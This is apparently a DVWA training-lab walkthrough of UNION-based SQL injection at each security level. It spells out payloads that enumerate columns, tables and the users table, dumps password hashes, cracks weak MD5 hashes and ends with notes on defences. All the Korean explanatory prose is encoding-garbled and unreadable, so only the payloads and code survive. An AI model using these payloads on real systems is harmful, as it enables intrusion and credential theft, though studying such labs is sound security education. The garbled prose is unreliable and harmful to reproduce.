Vulnerability: SQL Injection
์ฟผ๋ฆฌ๋ฌธ์ ๊ตฌ์กฐ๋ฅผ ํ์ ํ๊ณ , UNION SQL Injection์ ์ ์ฉํ์ฌ DB ๋ด๋ถ์ ๋ฐ์ดํฐ๋ฅผ ์กฐํํ๋ ๊ฒ์ ๋ชฉ์ ์ผ๋ก ํ๋ค.
DVWA SQL Injection ์ค์ต
์ค์ต ํ๊ฒฝ
- Windows Docker๋ฅผ ์ด์ฉํ DVWA
- Windows ํ๊ฒฝ์ Burp Suite
Security Level: Low

order by๋ฅผ ์ด์ฉํ์ฌ ์ปฌ๋ผ(Column)์ ๊ฐ์๋ฅผ ํ์ธํด๋ณธ๋ค.
Order by
1' order by 1~2 #


์์ ๊ฐ์ด 1~2์ ๊ฒฝ์ฐ ๊ฒฐ๊ณผ ๊ฐ์ด ๋์จ๋ค.
1' order by 3 #

3์ ์ ๋ ฅํ ๊ฒฝ์ฐ ์๋ฌ๊ฐ ๋ฐ์ํ๊ฒ ๋๋ค. ์ฆ ์ปฌ๋ผ์ 2๊ฐ๋ผ๋ ๊ฒ์ ์ ์ ์๋ค.
์ด์ UNION SQLi Process์ ๋ง์ถฐ ์งํํ๋ค.
Column ์์น ์ฐพ๊ธฐ
์ปฌ๋ผ์ ๊ฐ์๊ฐ 2๊ฐ๋ผ๋ ๊ฒ ๊น์ง ํ์ธํ์ผ๋ฏ๋ก, ์ถ๋ ฅ๋๋ ์ปฌ๋ผ์ ์์น๋ฅผ ์ฐพ์๋ณธ๋ค.
1' union select 1, 2 #

์์ ๊ฒฐ๊ณผ๋ฅผ ๋ณด๋ฉด First name์ 1๋ฒ ์ปฌ๋ผ์ด, Sunname์ 2๋ฒ ์ปฌ๋ผ์ด ์ถ๋ ฅ๋๊ณ ์๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
DB ์ด๋ฆ ํ์ธํ๊ธฐ
1' union select database(),2 #


ํด๋น DB์ ์ด๋ฆ์ dvwa์์ ํ์ธํ ์ ์๋ค.
TABLE ์ด๋ฆ ํ์ธํ๊ธฐ
1' union select table_name,2 from information_schema.tables where table_schema = 'dvwa' #


dvwa DB๋ guestbook ๊ณผ users ๋ผ๋ 2๊ฐ์ Table๋ก ๊ตฌ์ฑ๋์ด ์๋ ๊ฒ์ ํ์ธํ ์ ์๋ค. ์ด์ค์์ users ๊ฐ ํ์์ ๋ณด์ผ ๊ฒ์ผ๋ก ์์๋๋ฏ๋ก ์ด๋ฅผ ํ์ธํด ๋ณธ๋ค.
COLUMN ์ด๋ฆ ํ์ธํ๊ธฐ
1' union select column_name,2 from information_schema.columns where table_name = 'users' #


users ํ ์ด๋ธ(dvwa.users)๋ user_id, first_name, last_name, user, password, avatar, last_login, failed_login์ 8๊ฐ์ ์ปฌ๋ผ์ผ๋ก ๊ตฌ์ฑ๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
์กฐํ์ ์ฌ์ฉ๋ User ID๋ user_id ์ปฌ๋ผ์ผ ๊ฒ์ด๋ค. ๊ทธ๋ฆฌ๊ณ ์ ์ ์ ๋ณด๋ user, password๋ฅผ ํ์ธํด๋ด์ผ ํ ๊ฒ์ผ๋ก ๋ณด์ธ๋ค.
DATA ํ์ธํ๊ธฐ
users ํ ์ด๋ธ์์ user, password ์ปฌ๋ผ์ ์ด๋ํ์ฌ Data๋ฅผ ํ์ธํด ๋ณธ๋ค.
1' union select user, password from users #


์์ ๊ฐ์ด 5๊ฐ์ ๊ณ์ ๊ณผ ๋น๋ฐ๋ฒํธ์ ํด๋นํ๋ ๊ณ์ ์ ๋ณด๋ฅผ ํ์ธํ ์ ์๋ค. ํด๋น ๊ณ์ ์ ๋ณด์ ๋น๋ฐ๋ฒํธ๋ฅผ ๋ณด๋ฉด ํด์ฌ๊ฐ์ผ๋ก ์ ์ฅ๋์ด ์๋ค. ์ด ํด์ฌ๋ก๋ถํฐ ๋น๋ฐ๋ฒํธ๋ฅผ ์์๋ผ ์ ์๋ค๋ฉด ๊ด๋ฆฌ์ ๋ฐ ์ฌ์ฉ์ ๊ถํ์ ํ์ทจํ ์ ์๋ค.
๋น๋ฐ๋ฒํธ ํด์ฌ(HASH) ํ์ด
๋น๋ฐ๋ฒํธ๋ ๋๋ถ๋ถ ํด์ฌ(hash) ๊ฐ์ผ๋ก ์ ์ฅ๋๋ค. ํด์ฌ๋ ๋จ๋ฐฉํฅ ์ํธํ์ ์ผ์ข ์ผ๋ก ์ด๋ก ์ ์ผ๋ก๋ ๋ณตํธํ๊ฐ ๋ถ๊ฐ๋ฅํ๋ค. ํ์ง๋ง ๋๋ฆฌ ์๋ ค์ง ๋ฌธ์์ด(์ทจ์ฝํ ๋น๋ฐ๋ฒํธ)์ธ ๊ฒฝ์ฐ์๋ ์ถ์ ํ๋ ๊ฒ์ด ๊ฐ๋ฅํ๋ค. ๊ตฌ๊ธ์ด๋ ํด์ฌ ๋ฐ์ดํฐ๋ฒ ์ด์ค๋ฅผ ์ด์ฉํ๊ฑฐ๋, ์ทจ์ฝํ ๋น๋ฐ๋ฒํธ ๋ชฉ๋ก์ผ๋ก๋ถํฐ ํด์ฌ ์ฒ๋ฆฌ๋ฅผ ํ์ฌ ๋์ผํ ํด์ฌ๊ฐ ์๋์ง ํ์ธํด๋ณผ ์ ์๋ค.
๊ตฌ๊ธ์์ ๊ฒ์์ ํตํด ํ์ธํด๋ณด๋ฉด ๋ค์๊ณผ ๊ฐ๋ค.





์์ ๊ฐ์ด ๊ฐ๊ฐ์ ํด์ฌ ๊ฐ์ 1234, abc123, charley, letmein, password ์ ํด๋นํ๋ md5() ํด์ฌ ๊ฐ์์ ํ์ธํ ์ ์๋ค.
์ซ์์ ์ํ๋ฒณ์ผ๋ก ๊ตฌ์ฑ๋ 32์ ์ง๋ฆฌ ํด์ฌ๋ ๋๊ฐ MD5 ํด์ฌ์ด๋ค.
Security Level: Medium

Medium ๋ ๋ฒจ์ ๊ฒฝ์ฐ, id ํ๋ผ๋ฏธํฐ๊ฐ ์ซ์๊ฐ์ ๋ฐ๋๋ก ๋์ด ์์๊ธฐ ๋๋ฌธ์ ' ๊ฐ ์์ด ์ ๋ ฅ๋๋ค.
์ค์ ์ฝ๋๋ฅผ ์ดํด๋ณด๋ฉด mysqli_real_escape_string์ ์ด์ฉํ์ฌ ' ์ ๋ ฅ๊ฐ์ \' ๋ก ์ ๋ ฅ๋์ด '๋ก ์ธ์๋์ง ์๋๋ค.

ํด๋น ๋ ๋ฒจ์์๋ UNION SQLi Process์ ๋ง์ถฐ ์งํํ๋ค.
Order by
( ' ) ์์ด ์ ๋ ฅ ํ๋ค.
1 order by 1 / 1 order by 2




1 order by 3


์์ ๊ฐ์ด 1,2 ์ ๋ํ ๊ฒฐ๊ณผ๋ ๋์ค์ง๋ง 3์๋ํ ๊ฒฐ๊ณผ๋ ๋์ค์ง ์๋ ๊ฒ์ผ๋ก๋ถํฐ ์ปฌ๋ผ์ ๊ฐ์๊ฐ 2๊ฐ์์ ์ ์ ์๋ค.
Column ์์น ์ฐพ๊ธฐ
1 union select 1,2


DB ์ด๋ฆ ํ์ธํ๊ธฐ
1 union select database(),2


TABLE ์ด๋ฆ ํ์ธํ๊ธฐ
์ฌ์ฉ์ ์ ๋ ฅ๊ฐ(id)์ ๋ํ์ฌ mysqli_real_escape_string() ํจ์๋ฅผ ์ฒ๋ฆฌํ๊ณ ์๊ธฐ ๋๋ฌธ์ ', " ์ ๊ฐ์ ๋ฌธ์๊ฐ SQL๋ฌธ์ผ๋ก ์ฒ๋ฆฌ๋๋ ๊ฒ์ ๋ฐฉ์งํ๋ค. ๊ทธ๋ ๊ธฐ ๋๋ฌธ์ ํฐ๋ฐ์ดํ(")๋ ์์๋ฐ์ดํ(')๋ฅผ ์ฌ์ฉํ์ง ์๊ณ ํ์ธํ๋ค.
1 union select table_name,2 from information_schema.tables
where ๊ตฌ๋ฌธ์ ์ด์ฉํ๋ ค๋ฉด table_schema = 'dvwa' ์ ๊ฐ์ด ' ๊ฐ ํ์ํ๊ธฐ ๋๋ฌธ์ where ๊ตฌ๋ฌธ ์์ด ์ ์ฒด๋ฅผ ํ์ธํ๊ธฐ๋ก ํ๋ค.


COLUMN ์ด๋ฆ ํ์ธํ๊ธฐ
์์ ๊ฐ์ด ' ์์ด ํ์ธํ๊ธฐ ์ํด where ๊ตฌ๋ฌธ ์์ด ํ์ธํ๋ค.
1 union select column_name from information_schema.columns
์ ์ฒด ํ ์ด๋ธ์ ๋ํ ์ปฌ๋ผ์ ์กฐํํ์์ผ๋ฏ๋ก, comment_id, comment, name ํ ์ด๋ธ์ ํ์ธํด๋ณผ ์ ์๋ค.


DATA ํ์ธํ๊ธฐ
1 union select user, password from dvwa.users


Security Level: High

here to change your ID. ๋ฅผ ๋๋ฅด๋ฉด ๋ค์๊ณผ ๊ฐ์ ์ฐฝ์ด ๋์จ๋ค.
// Get input
$id = $_SESSION[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
SQL๋ฌธ์์ ์ฌ์ฉํ id ๊ฐ์ ์๋ฒ์ ์ธ์ (session)์ผ๋ก๋ถํฐ ์ฝ์ด์ ์ฌ์ฉํ๊ธฐ ๋๋ฌธ์ ์จ์ ํ๊ฒ ์์ ํ ๋ฐฉ๋ฒ์ด๋ผ๊ณ ํ ์ ์๋ค. ์ค์ง์ ์ผ๋ก ์ฌ์ฉ์๊ฐ ์๋ฒ์ ์ ์ฅ๋ ์ธ์ ๋ด์ ๊ฐ์ ์กฐ์ํ ๋ฐฉ๋ฒ์ด ์๊ธฐ ๋๋ฌธ์ด๋ค.
ํ์ง๋ง ํด๋น ๋ฌธ์ ์ ๊ฒฝ์ฐ ์๋ฒ์ ์ธ์ ์ ์ ์ฅ๋๋ ๊ฐ์ ์ฌ์ฉ์๊ฐ ๋ณ๊ฒฝํ ์ ์๋ ์๋์ ๊ฐ์ ์น ์ ํ๋ฆฌ์ผ์ด์ ์ ์ ๊ณตํ๋ค.

์ด๊ฒ์ ๋นํ์ค์ ์ธ ์ํฉ์ ๊ฐ์ ํ ๊ฒ์ผ๋ก ๋ณด์๋ ๋ฌด๋ฐฉํ๋ค๊ณ ํ ์ ์๋ค. ์ผ๋ฐ์ ์ผ๋ก ์ธ์ ์ ์๋ฒ๊ฐ ์๋์ผ๋ก ๋ง๋๋ ๊ฒ์ผ๋ก, ๋ก๊ทธ์ธ์ ํ๋ ๊ณผ์ ์์ ๊ฒ์ฆ๋ ๊ฐ(ID, ๊ถํ)์ ์ ์ฅํ๋ค. ์ด๋ฌํ ๊ฐ์ ์๋ฒ์ ์ ์ฅ๋๋ ๊ฐ์ผ๋ก์ ์ฌ์ฉ์๊ฐ ๊ด์ฌํ ์ ์๋ ๊ฒฝ์ฐ๋ ๊ฑฐ์ ์๋ค๊ณ ๋ณผ ์ ์๋ค.
High ๋ ๋ฒจ์ ๊ฒฝ์ฐ WHERE ๊ตฌ๋ฌธ ๋ค์ LIMIT 1์ผ๋ก ์ ํ์ ํ๊ณ ์๊ธฐ ๋๋ฌธ์ ์ฃผ์(#)์ ์ด์ฉํ์ฌ ์ฌ๋ฌ์ค์ ์ถ๋ ฅํ ์ ์๋๋ก ํ๋ค. (Medium ๋ ๋ฒจ์์ ์ฌ์ฉํ๋ mysqli_real_escape_string๊ฐ ์ ์ฉ๋์ด ์์ง ์๊ธฐ ๋๋ฌธ์ ', " ๊ฐ ์ฌ์ฉ ๊ฐ๋ฅํ๋ค.)

Order by
1' order by 1~2 #




1' order by 3 #


Column ์์น ์ฐพ๊ธฐ
1' union select 1,2 #


DB ์ด๋ฆ ํ์ธํ๊ธฐ
1' union select database(), 2 #



TABLE ์ด๋ฆ ํ์ธํ๊ธฐ
1' union select table_name,2 from information_schema.tables where table_schema = 'dvwa' #



COLUMN ์ด๋ฆ ํ์ธํ๊ธฐ
1' union select column_name,2 from information_schema.columns where table_name = 'users' #



DATA ํ์ธํ๊ธฐ
1' union select user, password from users #



Security Level: Impossible


Impossible ๋ ๋ฒจ์ ์ฝ๋๋ ์์ ๊ฐ๋ค. ์ด๋ฅผ ์ดํด๋ณด๋ฉด ๋ค์๊ณผ ๊ฐ๋ค.
Anti-CSRF token์ด ์ ์ฉ๋์ด ์๋๋ฐ, ์ด๋ ํ์ค์ ์ผ๋ก SQL Injection์ ๋ฐฉ์ด์๋ ๋ณ ๋์์ด ๋์ง ์๋๋ค.
๋ ๋ค๋ฅธ ๋ฐฉ์ด ์๋จ์ is_numeric() ํจ์๊ฐ ์ ์ฉ๋์ด ์๋๋ฐ, id ๊ฐ์ด ์ซ์์ธ ๊ฒฝ์ฐ์๋ง SQL๋ฌธ์ผ๋ก ์ด ๊ฐ์ ์ ๋ฌํ๊ฒ ๋๋ค.
ํด๋น ๋ฌธ์ ์์์ ํ๋ผ๋ฏธํฐ์ธ id์ ๊ฒฝ์ฐ 1,2,3,4,5์ ๊ฐ์ ์ ์ํ์ ๊ธฐ๋ณธ์ผ๋ก ํ๋ค. ๋๋ฌธ์ is_numeric() ํจ์๋ ๊ฐ๋ฅํ์ง๋ง is_int() ํจ์๋ก ๋์ฒดํ์ฌ ์ฌ์ฉํ๋ ๊ฒ์ด ๊ฐ๋ฅํ๋ค.
๋ํ ํจ์๋ฅผ ์ด์ฉํ์ง ์๊ณ ๊ฐ์ฉ์ฑ์ ๋์ด๊ณ ์ ํ๋ค๋ฉด '๊ฐ์ ํ๋ณํ(type casting)'์ ์ ์ฉํ ์๋ ์๋ค.
$id = $_GET['id']; ๋์ ์ $id = (int)$_GET['id']; ์ ๊ฐ์ด GET์ผ๋ก ๋ฐ์์จ ๋ณ์๋ฅผ ์ ์(int)๋ก ํ๋ณํ ํ๋ ๊ฒฝ์ฐ, ๊ตณ์ด is_numeric()์ด๋ is_int()์ ๊ฐ์ด ํจ์๋ฅผ ์ฌ์ฉํ์ง ์์๋ ๋๋ค๋ ๊ฒ์ด๋ค.
์ด ๊ฒฝ์ฐ, ๋ฌธ์์ด์ด ์ซ์๋ก ์์ํ๋ฉด ์ซ์๊น์ง๋ง ์ซ์๋ก ๋ฐ์๋ค์ด๊ณ ๋ท๋ถ๋ถ์ ๋ฌด์ํ๋ค. ์ฒซ ๋ฌธ์๊ฐ ์ซ์๊ฐ ์๋๋ผ๋ฉด ๋ฌด์กฐ๊ฑด 0์ผ๋ก ๋ณํํ๊ฒ ๋๋ค.
(์ซ์ ํ์์ด ์๋๋ฉด SQL ๋ฌธ์ผ๋ก ์ ๋ฌํ์ง ์๊ธฐ ๋๋ฌธ์ SQL Injection์ ๋ฐฉ์งํ ์ ์๋ค.)
๋ํ Prepared State๋ฅผ ์ด์ฉํ๊ธฐ ๋๋ฌธ์ SQL Injection์ ์์ ํ๊ฒ ๋ฐฉ์งํ๊ณ ์๋ค๊ณ ๋ณผ ์ ์๋ค.
์ง๋ฌธ ํ์, ์์ ๋ฐ ๋ณด์์ ๋ํ ์ง์ ํ์